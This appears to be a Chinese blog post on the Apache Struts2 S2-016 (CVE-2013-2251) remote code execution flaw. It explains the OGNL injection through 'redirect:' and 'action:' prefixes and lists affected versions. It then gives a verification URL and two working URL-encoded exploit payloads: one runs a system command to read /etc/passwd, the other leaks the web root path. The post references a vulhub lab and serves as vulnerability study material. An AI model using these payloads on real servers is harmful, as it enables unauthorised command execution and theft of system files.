S2-016 遠程代碼執行漏洞

在struts2中,DefaultActionMapper類支持以"action:"、“redirect:”、"redirectAction:"作爲導航或是重定向前綴,但是這些前綴後面同時可以跟OGNL表達式,由於struts2沒有對這些前綴做過濾,導致利用OGNL表達式調用java靜態方法執行任意系統命令。

漏洞記錄

S2-016
CVE-2013-2251
影響版本:Struts 2.0.0 – Struts 2.3.15
http://struts.apache.org/release/2.3.x/docs/s2-016.html
影響範圍非常大

漏洞檢測利用

驗證:
訪問http://192.168.1.15:8080/index.action?redirect:OGNL表達式即可執行OGNL表達式。

http://192.168.1.15:8080/index.action?action:%25{3*4}

執行任意命令EXP

?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

爆網站路徑EXP

?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

k8工具檢測利用
在這裏插入圖片描述
執行命令:
在這裏插入圖片描述

參考鏈接:
https://www.freebuf.com/vuls/11220.html
https://github.com/vulhub/vulhub/blob/master/struts2/s2-016/README.zh-cn.md

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章